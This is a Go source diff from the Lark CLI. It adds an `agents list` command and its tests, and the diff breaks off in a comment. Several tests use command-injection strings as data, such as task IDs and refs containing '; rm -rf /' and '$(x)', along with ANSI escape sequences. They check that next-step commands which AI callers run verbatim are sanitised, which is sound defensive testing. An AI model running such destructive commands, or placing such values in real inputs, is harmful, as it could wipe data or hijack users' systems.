+		// (no spec, so no cross-operation reverse lookup); the error hint points
+		// at `agents list` output's list_parameters, not at an agent card the
+		// caller cannot address yet (it holds no agent_ref at list time).
+		vp, err := validateListParams(opts.Params, prov.ListParams, opts.Scheme)
+		if err != nil {
+			return err
+		}
+		rt, err := runtimeFor(f, id, "", vp.Resolved)
+		if err != nil {
+			return err
+		}
+		if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
+			return err
+		}
+		agents, pageInfo, err = prov.ListAgents(opts.Cmd.Context(), rt,
+			iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
+		if err != nil {
+			return err
+		}
+	}
+	if agents == nil {
+		agents = []iagents.AgentSummary{} // always emit [] not null
+	}
+
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		// Name/Description are agent-controlled remote strings — ANSI-strip
+		// them before writing to the terminal.
+		fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
+		for _, a := range agents {
+			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
+		}
+		return nil
+	}
+
+	// Catalog is unpaged (plain count); the instance path carries has_more /
+	// page_token and a next-page action when there are more agents.
+	meta := listMeta(len(agents))
+	if !catalog {
+		meta = listMetaPage(len(agents), pageInfo, listSchemeNext(opts, f, pageInfo))
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: identity, // empty for the offline catalog path (omitempty)
+		Data:     map[string]interface{}{"agents": agents},
+		Meta:     meta,
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// listSchemeNext builds the next-page action for the instance `list <scheme>`
+// enumeration, replaying the scheme with the returned cursor. The scheme is
+// gated by safeNextID (no colon, so safeNextRef does not apply); a failing scheme
+// drops the action (the cursor still rides meta.page_token as data).
+func listSchemeNext(opts *listOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
+	if !safeNextID(opts.Scheme) {
+		return nil
+	}
+	next := nextPageAction(fmt.Sprintf("lark-cli agents list %s", opts.Scheme), opts.PageSize, info)
+	carryAsIntoNext(opts.Cmd, f, next)
+	return next
+}
+
+// listProviders builds the provider descriptors from the built-in registry so
+// the listing stays in sync with whatever adapters are registered.
+func listProviders() []providerInfo {
+	schemes := iagents.RegisteredSchemes()
+	out := make([]providerInfo, 0, len(schemes))
+	for _, s := range schemes {
+		// s comes from RegisteredSchemes, so Info always succeeds.
+		prov, _ := iagents.Info(s)
+		out = append(out, providerInfo{
+			Scheme:         s,
+			Label:          prov.Label,
+			AgentRefFormat: prov.AgentRefFormat(),
+			Kind:           string(prov.Kind()),
+			AgentIDSource:  prov.AgentIDSource,
+			ListParams:     prov.ListParams,
+		})
+	}
+	return out
+}

cmd/agents/list_test.go

@@ -0,0 +1,554 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// listFactory returns a Factory writing to a fresh stdout buffer plus a
+// listOptions bound to it, ready to drive agentListRun without any API.
+func listFactory() (*listOptions, *bytes.Buffer) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	return &listOptions{Factory: f, Format: "json"}, out
+}
+
+// decodeProviders unmarshals the envelope on out and returns data.providers.
+func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
+	t.Helper()
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
+	}
+	data, _ := env.Data.(map[string]interface{})
+	providers, _ := data["providers"].([]interface{})
+	return providers
+}
+
+// findProvider returns the provider entry whose scheme matches, or nil.
+func findProvider(providers []interface{}, scheme string) map[string]interface{} {
+	for _, pv := range providers {
+		p, _ := pv.(map[string]interface{})
+		if p["scheme"] == scheme {
+			return p
+		}
+	}
+	return nil
+}
+
+// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
+// example entry carries all fields sourced from iagents.Info (the single source
+// of truth), the legacy free-text description field is gone, and discoverable
+// is no longer exposed.
+func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
+	opts, out := listFactory()
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list should not error: %v", err)
+	}
+	prov, ok := iagents.Info("example")
+	if !ok {
+		t.Fatal("the example provider should already be registered (top-level agent blank import)")
+	}
+	p := findProvider(decodeProviders(t, out), "example")
+	if p == nil {
+		t.Fatalf("list should include the example provider: %s", out.String())
+	}
+	if p["label"] != prov.Label {
+		t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
+	}
+	if p["agent_ref_format"] != prov.AgentRefFormat() {
+		t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
+	}
+	if p["kind"] != string(prov.Kind()) {
+		t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
+	}
+	if p["agent_id_source"] != prov.AgentIDSource {
+		t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
+	}
+	if _, present := p["description"]; present {
+		t.Errorf("the old description field should be removed (double-source with label), got %v", p)
+	}
+	if _, present := p["discoverable"]; present {
+		t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
+	}
+}
+
+// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
+// data.providers[] with the full field contract.
+func TestAgentListRun_EnvelopeShape(t *testing.T) {
+	opts, out := listFactory()
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+	providers := decodeProviders(t, out)
+	if len(providers) == 0 {
+		t.Fatalf("data.providers should be a non-empty array: %s", out.String())
+	}
+	first, ok := providers[0].(map[string]interface{})
+	if !ok {
+		t.Fatalf("provider entry should be an object, got %T", providers[0])
+	}
+	for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
+		if _, present := first[key]; !present {
+			t.Errorf("provider entry missing field %q: %v", key, first)
+		}
+	}
+	if _, present := first["discoverable"]; present {
+		t.Errorf("provider entry should not contain a discoverable field: %v", first)
+	}
+}
+
+// TestAgentListDefaultFormatIsJSON pins the default flip: `agents list`
+// without --format emits the JSON envelope (pretty is opt-in).
+func TestAgentListDefaultFormatIsJSON(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	cmd := NewCmdAgentList(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetArgs([]string{})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("agents list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
+	}
+	if !env.OK {
+		t.Errorf("ok should be true: %+v", env)
+	}
+}
+
+// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
+// row plus tab-separated provider lines, not a JSON envelope.
+func TestAgentListRun_PrettyFormat(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	opts := &listOptions{Factory: f, Format: "pretty"}
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list pretty should not error: %v", err)
+	}
+	text := out.String()
+	// A pretty rendering is human text, not a JSON envelope.
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
+	}
+	if !strings.HasPrefix(text, "SCHEME") {
+		t.Errorf("pretty output should start with a header row: %s", text)
+	}
+	if !strings.Contains(text, "example") {
+		t.Errorf("pretty output should contain the example provider: %s", text)
+	}
+	if !strings.Contains(text, "example:<agent_id>") {
+		t.Errorf("pretty output should contain the example ref format: %s", text)
+	}
+	// agent_id_source is surfaced as a footer (not a column) so the newcomer's
+	// "where do I get an agent_id" cue does not disappear in the pretty view.
+	if !strings.Contains(text, "agent_id 获取") {
+		t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
+	}
+}
+
+// TestAgentListScheme_UnsupportedCapability pins that `agents list fakeflow`
+// on a provider without Discoverer is unsupported_capability (exit 2) with the
+// AgentIDSource text as hint, and — because the probe runs before any client
+// construction — works on an unconfigured Factory.
+func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
+	registerScripted()
+	opts, _ := listFactory()
+	opts.Scheme = "fakeflow"
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T (%v)", err, err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitValidation {
+		t.Fatalf("exit code should be 2, got %d", code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
+		t.Errorf("message should state that listing is not supported, got %q", err.Error())
+	}
+	if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
+		t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
+	}
+}
+
+// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
+// invalid_argument and the message lists the registered schemes.
+func TestAgentListScheme_UnknownScheme(t *testing.T) {
+	opts, _ := listFactory()
+	opts.Scheme = "nosuch"
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("an unknown scheme should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T (%v)", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
+		t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
+	}
+	// Hand-written validation errors carry a recovery hint pointing at
+	// `agents list` for provider discovery.
+	if !strings.Contains(p.Hint, "agents list") {
+		t.Errorf("unknown-scheme hint should point to `agents list`, got %q", p.Hint)
+	}
+}
+
+// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
+// tests only exercise enumeration, never Send/GetTask, but Register requires
+// both non-nil).
+func catSpec(id, name, desc string) iagents.AgentSpec {
+	return iagents.AgentSpec{
+		ID: id, Name: name, Description: desc,
+		Send:    iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
+		GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
+	}
+}
+
+// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
+// is derived offline from the static Catalog. It leaks into the package-level
+// registry for the rest of this package run.
+func registerFakeDisc() {
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakedisc",
+		Label:         "test fake (catalog)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Catalog: []iagents.AgentSpec{
+			catSpec("a1", "Agent One", "第一个"),
+			catSpec("a2", "Agent Two", ""),
+		},
+	})
+}
+
+// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
+// catalog provider enumerates its static entries offline into
+// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
+func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
+	registerFakeDisc()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakedisc should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	agents, ok := data["agents"].([]interface{})
+	if !ok || len(agents) != 2 {
+		t.Fatalf("data.agents should have 2 entries, got %v", data["agents"])
+	}
+	first, _ := agents[0].(map[string]interface{})
+	if first["agent_ref"] != "fakedisc:a1" || first["name"] != "Agent One" {
+		t.Errorf("agents[0] should be an AgentSummary {agent_ref, name}, got %v", first)
+	}
+	if env.Meta == nil || env.Meta.Count != 2 {
+		t.Errorf("meta.count should be 2, got %+v", env.Meta)
+	}
+}
+
+// TestAgentListScheme_InstanceListAgentsOnline pins the instance online path: an
+// instance provider that wires the optional ListAgents hook enumerates via it,
+// and the hook receives an identity-pinned runtime (not nil).
+func TestAgentListScheme_InstanceListAgentsOnline(t *testing.T) {
+	var gotRT iagents.Runtime
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakelive",
+		Label:         "test fake (instance live-enum)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+		Instance:      &spec,
+		ListAgents: func(_ context.Context, rt iagents.Runtime, _ iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			gotRT = rt
+			return []iagents.AgentSummary{{AgentRef: "fakelive:x", Name: "Live X"}}, iagents.PageInfo{}, nil
+		},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.Flags().String("as", "", "identity")
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelive", PageSize: defaultPageSize}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakelive should not error: %v", err)
+	}
+	if gotRT == nil {
+		t.Error("the ListAgents hook should receive a non-nil identity-pinned runtime")
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if agents, _ := data["agents"].([]interface{}); len(agents) != 1 {
+		t.Fatalf("data.agents should have 1 entry, got %v", data["agents"])
+	}
+}
+
+// TestAgentListScheme_PaginationMeta pins the command-level pagination envelope
+// for the instance `list <scheme>` path: a ListAgents hook that returns a page
+// plus PageInfo{HasMore,NextToken} surfaces as meta.has_more / meta.page_token,
+// and meta.next carries a "下一页" action replaying the scheme with
+// --page-size / --page-token.
+func TestAgentListScheme_PaginationMeta(t *testing.T) {
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakelivepage",
+		Label:         "test fake (instance paginated live-enum)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+		Instance:      &spec,
+		ListAgents: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			if page.Size != 2 {
+				t.Errorf("the ListAgents hook should receive the requested page size 2, got %d", page.Size)
+			}
+			return []iagents.AgentSummary{
+					{AgentRef: "fakelivepage:x", Name: "Live X"},
+					{AgentRef: "fakelivepage:y", Name: "Live Y"},
+				},
+				iagents.PageInfo{NextToken: "2", HasMore: true}, nil
+		},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.Flags().String("as", "", "identity")
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakelivepage", PageSize: 2}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("paged list fakelivepage should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	if env.Meta == nil {
+		t.Fatal("a paged list should carry meta")
+	}
+	if !env.Meta.HasMore {
+		t.Error("meta.has_more should be true")
+	}
+	if env.Meta.PageToken != "2" {
+		t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
+	}
+	found := false
+	for _, n := range env.Meta.Next {
+		if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents list fakelivepage") &&
+			strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
+			found = true
+		}
+	}
+	if !found {
+		t.Errorf("meta.next should contain a 下一页 action replaying the scheme + --page-size/--page-token, got %+v", env.Meta.Next)
+	}
+}
+
+// TestAgentListScheme_OnlineRunsScopePreflight pins #8: the online enumeration
+// path now runs the same all-or-nothing scope preflight every other online verb
+// runs. An instance provider with RequiredScopes, driven by a user whose token
+// lacks them, fails fast with missing_scope (exit 3) BEFORE ListAgents is called.
+func TestAgentListScheme_OnlineRunsScopePreflight(t *testing.T) {
+	called := false
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:         "fakescopelive",
+		Label:          "test fake (scoped live-enum)",
+		AgentIDSource:  "test only",
+		RequiredScopes: []string{"live:read"},
+		Identities:     []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Instance:       &spec,
+		ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			called = true
+			return nil, iagents.PageInfo{}, nil
+		},
+	})
+	// The stored user token holds an unrelated scope (non-empty so the preflight
+	// actually runs) but not the required one.
+	swapStoredScopes(t, []string{"unrelated:scope"})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "user"), Format: "json", Scheme: "fakescopelive", As: "user", PageSize: defaultPageSize}
+
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("listing as a user missing the required scope should fail with missing_scope")
+	}
+	if code := output.ExitCodeOf(err); code != 3 {
+		t.Fatalf("missing scope should be exit 3, got %d (%v)", code, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeMissingScope {
+		t.Fatalf("subtype should be missing_scope, got %+v", p)
+	}
+	if called {
+		t.Error("ListAgents must NOT be called when the scope preflight fails")
+	}
+}
+
+// TestAgentListScheme_OnlineChecksIdentity pins #8: the online enumeration path
+// enforces the user|bot identity whitelist. An explicitly unsupported --as is
+// rejected as a validation error before the online ListAgents call.
+func TestAgentListScheme_OnlineChecksIdentity(t *testing.T) {
+	called := false
+	spec := catSpec("", "", "")
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakelivewl",
+		Label:         "test fake (identity-whitelist live-enum)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+		Instance:      &spec,
+		ListAgents: func(context.Context, iagents.Runtime, iagents.PageParams) ([]iagents.AgentSummary, iagents.PageInfo, error) {
+			called = true
+			return nil, iagents.PageInfo{}, nil
+		},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	opts := &listOptions{Factory: f, Cmd: resolveCmd(t, true, "admin"), Format: "json", Scheme: "fakelivewl", As: "admin", PageSize: defaultPageSize}
+
+	err := agentListRun(opts)
+	if err == nil {
+		t.Fatal("an unsupported identity should be rejected before the online call")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("unsupported identity should be a validation error, got %T (%v)", err, err)
+	}
+	if called {
+		t.Error("ListAgents must NOT be called when the identity whitelist fails")
+	}
+}
+
+// TestAgentListScheme_PrettyStripsANSI pins that `agents list <scheme> --format
+// pretty` strips ANSI escapes from agent-controlled Name/Description (here from
+// static catalog entries) before they reach the terminal.
+func TestAgentListScheme_PrettyStripsANSI(t *testing.T) {
+	iagents.Register(iagents.Provider{
+		Scheme:        "fakedirty",
+		Label:         "test fake (dirty names)",
+		AgentIDSource: "test only",
+		Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+		Catalog:       []iagents.AgentSpec{catSpec("a1", "\x1b[31mEvil\x1b[0m One", "d\x1b[2Jesc")},
+	})
+
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	cmd := &cobra.Command{Use: "list"}
+	cmd.SetContext(context.Background())
+	opts := &listOptions{Factory: f, Cmd: cmd, Format: "pretty", Scheme: "fakedirty"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list fakedirty pretty should not error: %v", err)
+	}
+	text := string(out.Bytes())
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in agent Name/Description must be stripped: %q", text)
+	}
+	if !strings.Contains(text, "Evil One") || !strings.Contains(text, "desc") {
+		t.Errorf("readable text should remain after stripping, got %q", text)
+	}
+}
+
+// TestAgentListJqFlagRegisteredAndConsumed pins the quality-review fix: the
+// --jq flag must be registered on `agents list` and filter the envelope.
+func TestAgentListJqFlagRegisteredAndConsumed(t *testing.T) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	cmd := NewCmdAgentList(f)
+	cmd.SetOut(&bytes.Buffer{})
+	cmd.SetErr(&bytes.Buffer{})
+	cmd.SetContext(context.Background())
+	cmd.SetArgs([]string{"--jq", ".ok"})
+	if err := cmd.Execute(); err != nil {
+		t.Fatalf("agents list --jq should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "true" {
+		t.Errorf("--jq .ok should output only true, got %q", got)
+	}
+}
+
+// TestNewCmdAgentList_ReadRisk pins the read risk annotation, the json default
+// of --format, the --jq flag presence, and that list takes at most one
+// positional arg (the scheme).
+func TestNewCmdAgentList_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentList(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("agents list should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil {
+		t.Fatal("agents list should have a --format flag")
+	}
+	if fl.DefValue != "json" {
+		t.Errorf("--format default should flip to json, got %q", fl.DefValue)
+	}
+	if cmd.Flags().Lookup("jq") == nil {
+		t.Error("agents list should have a --jq flag")
+	}
+	if cmd.Flags().Lookup("as") == nil {
+		t.Error("agents list should register an --as flag (needed to pick the identity for online enumeration)")
+	}
+	if err := cmd.Args(cmd, []string{}); err != nil {
+		t.Errorf("agents list with no args should be valid: %v", err)
+	}
+	if err := cmd.Args(cmd, []string{"example"}); err != nil {
+		t.Errorf("agents list <scheme> should be valid: %v", err)
+	}
+	if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
+		t.Error("agents list with more than 1 positional argument should error (MaximumNArgs 1)")
+	}
+}

cmd/agents/next_contract_test.go

@@ -0,0 +1,276 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"strings"
+	"testing"
+
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
+// contract test automatically covers any future nextForTask branch keyed on a
+// state instead of relying on hand-picked samples.
+var allTaskStates = []iagents.TaskState{
+	iagents.StateSubmitted,
+	iagents.StateWorking,
+	iagents.StateInputRequired,
+	iagents.StateAuthRequired,
+	iagents.StateCompleted,
+	iagents.StateFailed,
+	iagents.StateCanceled,
+	iagents.StateRejected,
+	iagents.StateUnknown,
+}
+
+// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
+// every next command emitted by nextForTask — across all 9 task states, with
+// and without a context id, template hints included (their <...> placeholders
+// are single space-free tokens, so they parse as ordinary flag values) — must
+// traverse and flag-parse against the real agent command tree. meta.next is
+// defined as "AI executes this verbatim", so a next that references a
+// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
+// at build time instead of by a failing acceptance run.
+func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
+	// GIVEN: the real agent subtree (nil Factory: construction-time only, no
+	// credentials; all meta.next commands live under `lark-cli agents ...`).
+	agentTree := NewCmdAgents(nil)
+
+	for _, state := range allTaskStates {
+		for _, ctxID := range []string{"", "conversation_1"} {
+			task := &iagents.AgentTask{
+				TaskID:     "chat_1",
+				ContextID:  ctxID,
+				State:      state,
+				IsTerminal: state.IsTerminal(),
+			}
+			next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend)
+			if len(next) == 0 {
+				t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
+			}
+			for _, n := range next {
+				if state == iagents.StateAuthRequired {
+					// auth_required is an agent-side task state whose next step is
+					// the auth (re-authorize) flow, so it legitimately points OUT
+					// of the agent subtree and is not traversable against
+					// agentTree; assert its shape and skip the agent traversal.
+					if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
+						t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
+					}
+					continue
+				}
+				if !strings.HasPrefix(n.Command, "lark-cli agents ") {
+					t.Fatalf("next %q must target the agent subtree", n.Command)
+				}
+				// WHEN: the command string is parsed against the real tree.
+				argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agents "))
+				c, flags, err := agentTree.Traverse(argv)
+				// THEN: it traverses to a leaf and its flags all exist.
+				if err != nil {
+					t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
+				}
+				if c == agentTree {
+					t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
+				}
+				if err := c.ParseFlags(flags); err != nil {
+					t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
+				}
+			}
+		}
+	}
+}
+
+// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
+// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
+// whole next entry (omit rather than risk injection), in every state —
+// meta.next commands are executed verbatim by AI callers, so shell
+// metacharacters in an interpolated id are command injection.
+func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
+	for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
+		for _, state := range allTaskStates {
+			task := &iagents.AgentTask{TaskID: bad, State: state}
+			if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) != 0 {
+				t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
+			}
+		}
+	}
+}
+
+// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
+// the user-echoed ref is interpolated into every next command, so a ref that
+// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
+// suppresses the whole hint — a ref with spaces/quotes would make the command
+// un-copy-pasteable at best and an injection surface at worst.
+func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+	for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
+		if next := nextForTask(bad, task, nil, nil, iagents.VerbSend); len(next) != 0 {
+			t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
+		}
+	}
+	if next := nextForTask("example:agent_x", task, nil, nil, iagents.VerbSend); len(next) == 0 {
+		t.Error("valid ref example:agent_x should keep next")
+	}
+}
+
+// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
+// its degradation semantics: a legit task_id with an injection-shaped
+// context_id (input_required branch interpolates both) keeps the hint but
+// replaces the dirty id with the <context_id> placeholder — Template:true, no
+// untrusted content interpolated.
